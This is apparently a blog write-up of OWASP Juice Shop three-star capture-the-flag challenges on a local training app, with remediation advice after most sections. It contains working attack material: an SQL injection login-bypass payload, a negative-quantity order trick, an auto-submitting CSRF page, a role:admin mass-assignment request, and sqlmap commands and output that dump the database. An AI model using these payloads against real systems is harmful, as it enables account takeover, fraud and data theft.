Post

OWASP Juice Shop - Three star challenges

In our previous posts, we built a solid foundation by conquering the 1-star and 2-star levels. Now, it is time to step up our game. We are officially moving to the 3-star difficulty tier on the scoreboard marking the exact halfway point of our 6-star journey. This is where the training wheels come off, the complexity spikes, and the puzzles require a much deeper look into application logic and request manipulation.

Three star challenges

Now that you have mastered the basics, the 3-star tier is where the real fun begins and it is becoming a bit harder. These challenges move beyond simple low hanging fruit and introduce more intricate flaws. You will need to think like a creative attacker, piece multiple clues together, and manipulate inputs with precision. If you find yourself stuck or staring at a wall for too long, use this write-up as your roadmap to keep pushing forward through the scoreboard!

Login Bender

The challenge asks us to login as Bender. We know the email address of this user and we are aware of the SQL Injection vulnerability in the login portal. Combining those two things might help us to logon as Bender.

To log in, the web application executes an SQL query to check if the username (email address) and password (hash) match. The query will look something like this:

1
SELECT * FROM users WHERE email = 'USER_INPUT' AND password = 'PASSWORD_INPUT';

When an SQL query is vulnerable, attackers can perform an SQL Injection. This technique allows attackers to manipulate the SQL query so that it behaves exactly how they want it to. In our case, we want to bypass authentication for a specific user using an SQL Injection. To target Bender’s account, our SQL injection payload looks like this:

1
bender@juice-sh.op' AND 'A'='A' -- 

Let’s explain the payload a bit:

  • ' (Single Quote): This is the key character. It breaks out of the web application’s intended input field and prematurely closes the SQL string literal.
  • AND: This introduces a new logical condition into the database query.
  • 'A' = 'A': A statement that is always true. Since A is always equal to A, this condition forces the query logic to evaluate to true.
  • -- : The comment operator in SQL (used by databases like SQLite, PostgreSQL, and SQL Server). It tells the database to completely ignore everything that follows it. In MySQL, this usually requires a trailing space.

Due to this SQL Injection, the backend SQL query will look something like this:

1
SELECT * FROM users WHERE email = 'bender@juice-sh.op' AND 'A'='A' --' AND password = '...';

The database processes the modified query from left to right:

  1. It checks if a user exists with the email bender@juice-sh.op. This evaluates to True.
  2. It encounters the AND operator.
  3. It evaluates the condition 'A'='A', which is True.
  4. Because a logical AND requires both conditions to be true (True AND True = True), the database successfully validates the email portion of the query.
  5. The -- comment cuts off the rest of the query, completely eliminating the password verification check that follows.

As a result, the database bypasses the password check entirely and returns the record belonging to Bender, granting us successful access to his account.

image

Remediation

To secure your backend and protect your database from destructive injection attacks, implement these industry standard defenses:

  • Enforce Prepared Statements: Always use parameterized queries. This ensures the database server treats user input strictly as data, never as executable code.
  • Apply Strict Input Validation: Validate every piece of incoming user data against a strict allowlist of expected formats and types before it ever reaches a query.
  • Sanitize Error Messages: Configure your application to show generic errors to the user. Never leak raw SQL syntax errors or database structural clues in the frontend.
  • Perform Security Assessments: Schedule continuous security assessments and penetration testing to actively search for and patch potential injection flaws.

Login Jim

Since this challenge uses the exact same SQL Injection technique as the Bender challenge, we won’t repeat the full breakdown here. You can apply the same payload logic tailored to Jim’s email to bypass authentication. The remediation strategies also remain identical.

The screenshot below demonstrates the exact payload in action: image

The second screenshot provides the proof, confirming that we have successfully logged in as Jim. image

Payback Time

The description for this challenge is simple: Place an order that makes you rich. To achieve this, we will be exploiting a classic business logic flaw. By manipulating the shopping cart to accept a negative number of items, we can attempt to reverse the transaction logic and force the store to owe us money.

image

In the captured message, we can adjust the quantity to a negative amount. We will change the value from 1 to -9999. This trick forces the application to calculate a negative total, resulting in a substantial refund for us later on.

image

Looking at the basket icon at the top of the page, we can already see it displaying a negative item count. This is a clear indicator that we are on the right track to cash.

image

Our shopping basket now contains -9999 apple pomace. This negative quantity ensures that we will receive a massive refund once the order is finalized.

image

Of course, choosing a delivery address is mandatory. It’s a good thing I’m the attacker pocketing the cash, otherwise I would have abandoned this shopping basket ages ago due to the sheer number of steps required to buy something.

image

To get the order as fast as possible, we select priority delivery. Paying a little extra doesn’t really matter anyway with a balance like this.

image

Select a payment card and then click the ‘Pay’ button.

image

As a customer, we have to navigate through quite a few screens. But once we click the ‘Place your order and pay’ button, we are finally there.

image

Ultimately, the attack succeeds, and the funds are successfully transferred to the attacker’s account.

Remediation

To secure real world applications against SQL injection and transaction manipulation, consider these essential strategies:

  • Enforce Server-Side Input Validation: While client-side validation creates a smooth user experience, it can easily be bypassed with tools like Burp Suite. Always validate inputs especially crucial data like price, quantity, and account numbers rigorously on the backend.
  • Always Use Prepared Statements: Never concatenate user input directly into database queries. Implement parameterized queries (prepared statements) to ensure the database treats input strictly as data, never as executable code.

CSRF

Cross Site Request Forgery (CSRF) is an attack that forces an authenticated user to execute unwanted actions on a web application they are currently logged into. Since browsers automatically include session cookies with every request, an attacker can trick the victim’s browser into sending a malicious request behind the scenes. With CSRF, an attacker can change account details (like passwords or usernames), transfer funds, or modify profile information all without the victim realizing it.

The goal of this challenge is to change another user’s profile information by exploiting a missing CSRF defense on the profile update endpoint. Since the application fails to validate anti-CSRF tokens or enforce strict cookie attributes, we can host a malicious HTML page that forces the victim’s browser to submit a rogue POST request to the application.

image

To pull this off, we craft a malicious payload targeting the /profile endpoint and host it on our local attacker machine using Kali Linux.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
  <head>
    <title>CSRF Exploit PoC</title>
  </head>
  <body>
    <h1>Loading...</h1>
    <form id="csrfForm" action="http://localhost:3000/profile" method="POST">
      <input type="hidden" name="username" value="Hacked-by-eMVee" />

    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

We save this code into an index.html file and spin up a quick Python web server to deliver the exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(emvee㉿kali)-[~/Documents/OWASP-Juice/csrf]
└─$ nano index.html

┌──(emvee㉿kali)-[~/Documents/OWASP-Juice/csrf]
└─$ cat index.html 
<!DOCTYPE html>
<html>
  <head>
    <title>CSRF Exploit PoC</title>
  </head>
  <body>
    <h1>Loading...</h1>
    <form id="csrfForm" action="http://localhost:3000/profile" method="POST">
      <input type="hidden" name="username" value="Hacked-by-eMVee" />

    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>


┌──(emvee㉿kali)-[~/Documents/OWASP-Juice/csrf]
└─$ python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

In the browser we have to visit http://localhost:80. It will display the header Loading and it will redirect to OWASP Juice Shop.

image

Even though I think I solved it correctly, the challenge still shows as unsolved. If anyone knows how to fix this, please let me know!

Remediation

To secure your application and protect users from unauthorized, cross-site actions, implement the following defenses:

  • Enforce Anti-CSRF Tokens: Ensure every state-changing request (like form submissions) requires a unique, cryptographically secure token that is strictly validated on the server side.
  • Adopt SameSite Cookie Attributes: Configure your session cookies with SameSite=Strict or SameSite=Lax to prevent browsers from automatically sending cookies along with cross-site requests.
  • Configure Strict CORS Policies: Implement rigid Cross-Origin Resource Sharing (CORS) rules to ensure resources and endpoints are only accessible from trusted, authorized domains.

Admin Registration

The goal of this challenge is to elevate a regular user to an administrator during the registration process. To start, we need to register a new user while ensuring that Burp Suite is actively intercepting the web traffic so we can inspect the request.

image

In the response, we can see that the newly created user has been assigned the “customer” role. Looking at the right hand panel in Burp Suite, the exact key value pair is displayed as "role":"customer". By copying this parameter and modifying it to "role":"admin" in a new request, we might be able to privilege escalate ourselves to an administrator.

image

In Burp Repeater, we first made the email address unique again to avoid registration conflicts, and then we appended "role":"admin" to the request body. With the modification complete, we can now send the request.

image

In the response, we get confirmation that the registration went through successfully, granting our new account full admin privileges.

Remediation

To secure real world applications against this type of Mass Assignment flaw, consider the following mitigation strategies:

  • Apply Strict Allowlisting (Strong Parameter Binding): Never blindly accept all incoming request data. Configure your backend framework to explicitly allowlist only the fields a user is permitted to modify (like username and password), while explicitly ignoring sensitive fields like role.
  • Server Controlled Role Management: Assign roles based entirely on secure, server side business logic. A user’s privilege level should never be determined or influenced by parameters sent directly from the client.
  • Implement Robust RBAC: Deploy a strict Role Based Access Control mechanism. Ensure that any attempt to create or elevate an administrative account requires an explicitly authorized session from an existing administrator.

SQL Injection

Once a potential injection point is identified, manual exploitation can be time-consuming. To efficiently map the database structure and extract data, we can leverage SQLmap, a penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.

Before running SQLmap, we need to capture a legitimate HTTP request directed at the search functionality. By intercepting the traffic, we save the raw HTTP request into a file named search.req. This request targets the /rest/products/search endpoint using the q parameter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(emvee㉿kali)-[~/Documents/OWASP-Juice]
└─$ cat search.req 
GET /rest/products/search?q=Apple HTTP/1.1
Host: localhost:3000
sec-ch-ua-platform: "Linux"
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJkYXRhIjp7ImlkIjozLCJ1c2VybmFtZSI6IiIsImVtYWlsIjoiYmVuZGVyQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwYzM2ZTUxN2UzZmE5NWFhYmYxYmJmZmM2NzQ0YTRlZiIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDI2LTA5LTEzIDA3OjQ3OjMzLjM0NiArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDI2LTA5LTEzIDA3OjQ3OjMzLjM0NiArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJiaWQiOjMsImlhdCI6MTc4OTMyNzY1NH0.tw1irJNBobaeya-Au2Vm982J7hMJp2PSzfrrMr1AJOXL4tQ9ZniBiIh01Kfh7bWa0zVIuuMVUc2pvLenNzVOh0jTgyHAY_1h-CT08v83BCXxJL2dNoEJdNaqgpf50dhqMggGzzk7E_qMU1qJRIIQ3vSxfu00f-aPXH7IyrKwcDw
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Chromium";v="145", "Not:A-Brand";v="99"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJkYXRhIjp7ImlkIjozLCJ1c2VybmFtZSI6IiIsImVtYWlsIjoiYmVuZGVyQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwYzM2ZTUxN2UzZmE5NWFhYmYxYmJmZmM2NzQ0YTRlZiIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDI2LTA5LTEzIDA3OjQ3OjMzLjM0NiArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDI2LTA5LTEzIDA3OjQ3OjMzLjM0NiArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJiaWQiOjMsImlhdCI6MTc4OTMyNzY1NH0.tw1irJNBobaeya-Au2Vm982J7hMJp2PSzfrrMr1AJOXL4tQ9ZniBiIh01Kfh7bWa0zVIuuMVUc2pvLenNzVOh0jTgyHAY_1h-CT08v83BCXxJL2dNoEJdNaqgpf50dhqMggGzzk7E_qMU1qJRIIQ3vSxfu00f-aPXH7IyrKwcDw; continueCode=eZ8420pltEcYfBcJIbSxxhyacKjTw2TDnCaMiv5cmaFRZHN5IJYiX90Y7laz
If-None-Match: W/"40b3-0DKVtR9Xe1hfyt7if7J4aIJ12Gs"
Connection: keep-alive

Using the captured request, we instruct SQLmao to specifically target the q parameter. Since we want to ensure thorough testing while minimizing false negatives, we bump up the detection depth using aggressive parameters:

  • -r search.req: Tells sqlmap to load the session context (including headers, cookies, and tokens) from our saved request file
  • -p q: Restricts the optimization engine to only test the q search parameter.
  • --dbms=sqlite: Specifies the backend database management system to skip unnecessary payloads for other environments like MySQL or Oracle.
  • --level=5 / --risk=3: Forces sqlmap to use its most comprehensive payload matrix, including extensive HTTP header testing and high-risk logical checks.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
┌──(emvee㉿kali)-[~/Documents/OWASP-Juice]
└─$ sqlmap -r search.req -p q --dbms=sqlite --level=5 --risk=3 
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.10.2#stable}                                                                                                                                                                                                   
|_ -| . [.]     | .'| . |                                                                                                                                                                                                                   
|___|_  ["]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:42:54 /2026-09-15/

[15:42:54] [INFO] parsing HTTP request from 'search.req'
[15:42:54] [INFO] testing connection to the target URL
[15:42:54] [INFO] testing if the target URL content is stable
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[15:42:59] [INFO] target URL content is stable
[15:42:59] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable
[15:42:59] [INFO] testing for SQL injection on GET parameter 'q'
[15:42:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:42:59] [WARNING] reflective value(s) found and filtering out
[15:43:00] [INFO] GET parameter 'q' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[15:43:00] [INFO] testing 'Generic inline queries'
[15:43:00] [INFO] testing 'SQLite inline queries'
[15:43:00] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[15:43:00] [WARNING] time-based comparison requires larger statistical model, please wait... (done)                                                                                                                                        
[15:43:00] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[15:43:00] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[15:43:15] [INFO] GET parameter 'q' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable 
[15:43:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:43:15] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:43:15] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[15:43:16] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[15:43:16] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[15:43:17] [INFO] target URL appears to be UNION injectable with 40 columns
[15:43:23] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[15:43:25] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[15:43:26] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[15:43:26] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[15:43:27] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[15:43:27] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[15:43:28] [INFO] checking if the injection point on GET parameter 'q' is a false positive
[15:43:29] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 422 HTTP(s) requests:
---
Parameter: q (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=Apple%' AND 4815=4815 AND 'CTPz%'='CTPz

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: q=Apple%' AND 1491=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'vxWT%'='vxWT
---
[15:43:39] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[15:43:39] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 380 times
[15:43:39] [INFO] fetched data logged to text files under '/home/emvee/.local/share/sqlmap/output/localhost'
[15:43:39] [WARNING] your sqlmap version is outdated

[*] ending @ 15:43:39 /2026-09-15/

The scan successfully bypassed initial heuristic warnings and confirmed that the q parameter is highly vulnerable.

Now that the injection channel is fully established, the final step is data extraction. By appending the --dump-all flag, we command SQLmap to systematically extract every table, column, and record accessible by the application’s database session.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
┌──(emvee㉿kali)-[~/Documents/OWASP-Juice]
└─$ sqlmap -r search.req -p q --dbms=sqlite --level=5 --risk=3 --dump-all
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[)]_____ ___ ___  {1.10.2#stable}                                                                                                                                                                                                   
|_ -| . ["]     | .'| . |                                                                                                                                                                                                                   
|___|_  [.]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:45:27 /2026-09-15/

[15:45:27] [INFO] parsing HTTP request from 'search.req'
[15:45:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=Apple%' AND 4815=4815 AND 'CTPz%'='CTPz

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: q=Apple%' AND 1491=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'vxWT%'='vxWT
---
[15:45:27] [INFO] testing SQLite
[15:45:27] [INFO] confirming SQLite
[15:45:27] [INFO] actively fingerprinting SQLite
[15:45:27] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[15:45:27] [INFO] sqlmap will dump entries of all tables from all databases now
[15:45:27] [INFO] fetching tables for database: 'SQLite_masterdb'
[15:45:27] [INFO] fetching number of tables for database 'SQLite_masterdb'
[15:45:27] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:45:27] [INFO] retrieved: 22
[15:45:28] [INFO] retrieved: Users
[15:45:29] [INFO] retrieved: sqlite_sequence
[15:45:32] [INFO] retrieved: Addresses
[15:45:33] [INFO] retrieved: Baskets
[15:45:34] [INFO] retrieved: Products
[15:45:36] [INFO] retrieved: BasketItems
[15:45:38] [INFO] retrieved: Captchas
[15:45:39] [INFO] retrieved: Cards
[15:45:40] [INFO] retrieved: Challenges
[15:45:42] [INFO] retrieved: ChallengeDependencies
[15:45:44] [INFO] retrieved: Complaints
[15:45:46] [INFO] retrieved: Deliveries
[15:45:48] [INFO] retrieved: Feedbacks
.....

This automates the extraction of sensitive tables, including user credentials, emails, and transaction histories, demonstrating the severe impact of an unvalidated search parameter.

This post is licensed under CC BY 4.0 by the author.